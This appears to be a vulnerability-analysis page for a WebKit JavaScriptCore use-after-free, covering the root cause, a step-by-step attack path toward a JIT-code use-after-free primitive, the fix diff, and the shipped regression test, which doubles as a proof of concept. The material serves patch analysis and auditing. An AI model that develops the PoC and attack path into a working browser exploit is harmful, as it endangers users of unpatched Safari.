Medium webkit UAF 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactProcessing maliciously crafted web content may lead to an unexpected Safari crash
DescriptionA use-after-free issue was addressed with improved memory management.
ComponentJSC
Bug ClassUAF
Tracker318331
Fix commit410ce8dc412f (webkit) +60/-18
CISA KEVNot listed
Creditedan anonymous researcher
Disclosed2026-10-26

Background

DirectTailCall
A JSC call-site optimization where a call in tail position reuses (shuffles into place) the caller’s stack frame instead of pushing a new one, then jumps to the callee. After the shuffle the caller’s original frame no longer exists.
`SpeculativeJIT::emitCall` (DFG) / FTL direct-call lowering
The DFG and FTL JITs each emit machine code for a call node. For a callee that resolves to a NativeExecutable (a C++ host function), they can emit an inline C call directly rather than going through the normal linking stub.
`CallFrameShuffler::prepareForTailCall`
Rewrites the current frame so the arguments/registers are positioned for the callee and the caller’s frame header (including the codeBlock slot) is overwritten.
Conservative GC root scan
JSC’s stack scan treats stack values as potential roots but does not treat a return address pointing into a CodeBlock’s JIT code as a root that keeps that code alive.
Jettison
When a CodeBlock’s optimized machine code is found dead (e.g. a weak reference it depends on is collected), the GC can jettison and free that executable memory.
WebKit lifetime model
Object lifetime is managed by Ref/RefPtr/WeakPtr and the GC/executable-memory allocator (not Oilpan); JIT code memory is freed by jettison/sweep, optionally zeroed with --zeroExecutableMemoryOnFree.

Root Cause Analysis

The bug is in the direct-tail-call fast path for host (native) functions in both SpeculativeJIT::emitCall (Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp) and the FTL direct-call lowering in Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp. When the callee resolved to a NativeExecutable, the old code emitted an inline C call to the host function (emitCallTarget()), and for a tail call it did so after running CallFrameShuffler(...).prepareForTailCall(). prepareForTailCall destroys the caller’s frame — crucially it overwrites the codeBlock header slot (set to nullptr once the shuffle fully overwrites the old header, which the attached test engineers by making caller and callee frame sizes equal). The inline call then pushes a return address that points back into the caller’s own JIT code. Nothing roots that caller CodeBlock: the conservative scan ignores return addresses into JIT code, and the shuffled frame’s codeBlock slot is nullptr, so no stack word references the caller’s code block.

Consequently, if a garbage collection occurs inside the host function (the host stringProtoFuncRepeat in the test allocates megabytes, forcing a full GC), and the caller’s optimized CodeBlock depends on a weak reference that is now dead (the test nulls globalThis.h, killing the DFG code’s frozen weak reference), the collector jettisons and — with synchronous sweep — frees the caller’s machine code. When the host function returns, control lands in freed (optionally zeroed) executable memory: a use-after-free of JIT code. The patch fixes this by removing the native-function inline-call fast path for tail calls entirely: in DFG the guard becomes if (nativeFunction && !isTail && ...) and the inlined if (isTail) { ...prepareForTailCall(); emitCallTarget(); ret(); } block is deleted; in FTL the analogous if (nativeFunction && !vm->isDebuggerHookInjected()) tail-call block is removed. Tail calls to host functions now fall through to the normal direct-call-link path (m_directCallLinkInfos.add(..., DirectTailCall)), which keeps the caller rooted correctly.

Key insight
Emitting an inline C call to a host function after prepareForTailCall had torn down the caller’s frame left the return address pointing into the caller’s JIT code with nothing rooting that CodeBlock, so a GC during the host call could free the very code the call was about to return into.

Attack Path

  1. Setup Attacker runs JS that creates a strict-mode function making a direct tail call to a host (native, NoIntrinsic) function whose frame is no larger than the caller’s (argCountIncludingThis <= callee frame), so the shuffle fully clears the caller’s frame header.
  2. Tier up Warm the tail caller so it is compiled by the DFG/FTL and the vulnerable native-tail-call inline path is emitted.
  3. Arm the weak reference Make the caller’s optimized code depend on a weak reference (e.g. a global holding a function), then invalidate/null it so the CodeBlock becomes eligible for jettison.
  4. Trigger GC in the host call Call a host function that allocates heavily (e.g. String.prototype.repeat with a huge count) so a full GC runs while executing inside the host call, with the caller’s frame already shuffled away.
  5. Free the caller's code The GC jettisons and (with synchronous sweep) frees the caller’s JIT code; the memory may be zeroed/reused.
  6. UAF primitive The host function returns into freed executable memory; the attacker controls what reuses that region, yielding a use-after-free of JIT code that is a strong primitive toward control-flow hijack / RCE (escalation inferred; the diff/test demonstrate the free-and-return, not the full exploit).

Impact Assessment

This is a renderer-process (JavaScriptCore within the web content process) vulnerability reachable from unprivileged JavaScript on a malicious page. The achieved primitive is a use-after-free of executable JIT memory: execution returns into a freed CodeBlock. Apple’s advisory labels the outcome a “use-after-free … unexpected Safari crash,” and the diff substantiates a genuine UAF of JIT code; whether it reaches reliable code execution beyond a crash is an escalation not proven by the diff (inferred). Preconditions are specific but attacker-controllable: a direct tail call to a NoIntrinsic host function with matching frame size, a jettison-eligible caller, and a GC landing inside the host call.

Changed Functions

FunctionChangeNotes
if
Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp
modified
for
JSTests/stress/direct-tail-call-to-host-function-keeps-caller-code-alive.js
modified

Files Changed

  • JSTests/stress/direct-tail-call-to-host-function-keeps-caller-code-alive.js
  • Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp
  • Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp

Audit Directions

  • Other tail-call fast paths
    Review every site that calls prepareForTailCall() followed by emitting a call/return, checking that nothing assumes the caller’s CodeBlock stays rooted across the call (baseline JIT, other emitCall variants, 32-bit DFGSpeculativeJIT32_64).
  • GC rooting of return addresses
    Audit assumptions that a return address into JIT code keeps a CodeBlock alive; look for other places where a live-but-dependent CodeBlock can be jettisoned while a frame still intends to return into it.
  • Inline host-call emission
    Check other inline native-call emitters (e.g. intrinsics, CallDOM) for the same pattern of calling into host code after frame teardown.
  • Weak-reference-driven jettison windows
    Look for optimized code whose liveness depends on watchpoints/weak references that script can invalidate mid-call to force a free at an unsafe point.
diff --git a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp
index 35fcc7638acd..b939c635ccba 100644
--- a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp
+++ b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp
@@ -996,7 +996,7 @@ void SpeculativeJIT::emitCall(Node* node)
                 nativeFunction = uncheckedDowncast<NativeExecutable>(executable)->function();
         }
 
-        if (nativeFunction && !vm().isDebuggerHookInjected()) {
+        if (nativeFunction && !isTail && !vm().isDebuggerHookInjected()) {
             auto emitCallTarget = [&]() {
                 emitFunctionPrologue();
                 emitPutToCallFrameHeader(nullptr, CallFrameSlot::codeBlock);
@@ -1018,14 +1018,6 @@ void SpeculativeJIT::emitCall(Node* node)
                 emitFunctionEpilogue();
             };
 
-            if (isTail) {
-                emitStoreCallSiteIndex(callSite);
-                CallFrameShuffler(*this, shuffleData).prepareForTailCall();
-                emitCallTarget();
-                ret();
-                useChildren(node);
-                return;
-            }
 
             auto done = jump();
             auto callTarget = label();
diff --git a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
index c1093fff4035..cd98d3f6d10f 100644
--- a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
+++ b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
@@ -14061,15 +14061,6 @@ IGNORE_CLANG_WARNINGS_END
                     shuffleData.numParameters = jit.codeBlock()->numParameters();
                     shuffleData.setupCalleeSaveRegisters(state->jitCode->calleeSaveRegisters());
 
-                    if (nativeFunction && !vm->isDebuggerHookInjected()) {
-                        jit.store32(
-                            CCallHelpers::TrustedImm32(callSiteIndex.bits()),
-                            CCallHelpers::highWordFor(CallFrameSlot::argumentCountIncludingThis));
-                        CallFrameShuffler(jit, shuffleData).prepareForTailCall();
-                        emitCallTarget();
-                        jit.ret();
-                        return;
-                    }
 
                     auto* callLinkInfo = state->jitCode->common.m_directCallLinkInfos.add(semanticNodeOrigin, CallLinkInfo::UseDataIC::No, state->graph.m_codeBlock, executable);
                     callLinkInfo->setCallType(CallLinkInfo::DirectTailCall);
diff --git a/JSTests/stress/direct-tail-call-to-host-function-keeps-caller-code-alive.js b/JSTests/stress/direct-tail-call-to-host-function-keeps-caller-code-alive.js
new file mode 100644
index 000000000000..f8a478f9e07a
--- /dev/null
+++ b/JSTests/stress/direct-tail-call-to-host-function-keeps-caller-code-alive.js
@@ -0,0 +1,59 @@
+//@ skip if $secAccel3Removed
+//@ requireOptions("--sweepSynchronously=1", "--zeroExecutableMemoryOnFree=1")
+
+// A DFG/FTL DirectTailCall to a NoIntrinsic host function used to emit an
+// inline C call after prepareForTailCall destroyed the caller's frame. The
+// pushed return address pointed into the caller's own JIT code, which nothing
+// rooted: the conservative scan does not treat return addresses into CodeBlock
+// JIT code as roots, and the shuffled frame's codeBlock slot is nullptr. A GC
+// inside the host call that found one of the caller's weak references dead
+// would jettison and (with --sweepSynchronously) free the caller's machine
+// code, so the host function's return landed in freed JIT memory.
+//
+// The tail caller must have argCountIncludingThis <= the host callee's frame
+// (here both are 2), so that the shuffle fully overwrites the old frame header
+// and no stale codeBlock-slot word conservatively roots the caller.
+
+"use strict";
+
+globalThis.sideSink = 0;
+let sink = null;
+
+// Overwrite stale stack words that might conservatively root the helper.
+function scrub(d) {
+    let a = d + 0.5, b = d * 1.5, c = d - 0.25, e = d ^ 7;
+    return d > 0 ? scrub(d - 1) + a + b + c + e : a;
+}
+noInline(scrub);
+
+// Invalidate the global's inferred-value watchpoint so that nulling it later
+// does not jettison the caller via watchpoint instead of via GC.
+globalThis.h = function d1() {};
+globalThis.h = function d2() {};
+
+for (let gen = 0; gen < 50; gen++) {
+    // Fresh executables each generation so a jettisoned code block does not
+    // count against reoptimization heuristics of the next round.
+    const tail = new Function('n', `//g${gen}
+        "use strict";
+        if (n & 1) globalThis.sideSink = globalThis.h(n);
+        return "a".repeat(n);`);
+    noInline(tail);
+    globalThis.h = new Function('n', `//h${gen}
+        return n | 0;`);
+
+    for (let i = 0; i < 4000; i++)
+        sink = tail(2 + (i & 1));
+
+    globalThis.h = null; // Kill the frozen weak reference of tail's DFG code.
+    globalThis.scrub2 = scrub(2000);
+
+    // Even n skips the helper branch. Each call allocates megabytes inside
+    // stringProtoFuncRepeat, so a full GC lands inside the host call while
+    // the tail-shuffled frame no longer roots the caller's CodeBlock.
+    for (let k = 0; k < 16; k++)
+        sink = tail((1 << 20) + (k << 18));
+}
+
+if (sink.length !== (1 << 20) + (15 << 18))
+    throw new Error("bad result: " + sink.length);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/JSTests/stress/direct-tail-call-to-host-function-keeps-caller-code-alive.js b/JSTests/stress/direct-tail-call-to-host-function-keeps-caller-code-alive.js
new file mode 100644
index 000000000000..f8a478f9e07a
--- /dev/null
+++ b/JSTests/stress/direct-tail-call-to-host-function-keeps-caller-code-alive.js
@@ -0,0 +1,59 @@
+//@ skip if $secAccel3Removed
+//@ requireOptions("--sweepSynchronously=1", "--zeroExecutableMemoryOnFree=1")
+
+// A DFG/FTL DirectTailCall to a NoIntrinsic host function used to emit an
+// inline C call after prepareForTailCall destroyed the caller's frame. The
+// pushed return address pointed into the caller's own JIT code, which nothing
+// rooted: the conservative scan does not treat return addresses into CodeBlock
+// JIT code as roots, and the shuffled frame's codeBlock slot is nullptr. A GC
+// inside the host call that found one of the caller's weak references dead
+// would jettison and (with --sweepSynchronously) free the caller's machine
+// code, so the host function's return landed in freed JIT memory.
+//
+// The tail caller must have argCountIncludingThis <= the host callee's frame
+// (here both are 2), so that the shuffle fully overwrites the old frame header
+// and no stale codeBlock-slot word conservatively roots the caller.
+
+"use strict";
+
+globalThis.sideSink = 0;
+let sink = null;
+
+// Overwrite stale stack words that might conservatively root the helper.
+function scrub(d) {
+    let a = d + 0.5, b = d * 1.5, c = d - 0.25, e = d ^ 7;
+    return d > 0 ? scrub(d - 1) + a + b + c + e : a;
+}
+noInline(scrub);
+
+// Invalidate the global's inferred-value watchpoint so that nulling it later
+// does not jettison the caller via watchpoint instead of via GC.
+globalThis.h = function d1() {};
+globalThis.h = function d2() {};
+
+for (let gen = 0; gen < 50; gen++) {
+    // Fresh executables each generation so a jettisoned code block does not
+    // count against reoptimization heuristics of the next round.
+    const tail = new Function('n', `//g${gen}
+        "use strict";
+        if (n & 1) globalThis.sideSink = globalThis.h(n);
+        return "a".repeat(n);`);
+    noInline(tail);
+    globalThis.h = new Function('n', `//h${gen}
+        return n | 0;`);
+
+    for (let i = 0; i < 4000; i++)
+        sink = tail(2 + (i & 1));
+
+    globalThis.h = null; // Kill the frozen weak reference of tail's DFG code.
+    globalThis.scrub2 = scrub(2000);
+
+    // Even n skips the helper branch. Each call allocates megabytes inside
+    // stringProtoFuncRepeat, so a full GC lands inside the host call while
+    // the tail-shuffled frame no longer roots the caller's CodeBlock.
+    for (let k = 0; k < 16; k++)
+        sink = tail((1 << 20) + (k << 18));
+}
+
+if (sink.length !== (1 << 20) + (15 << 18))
+    throw new Error("bad result: " + sink.length);
Loading diff…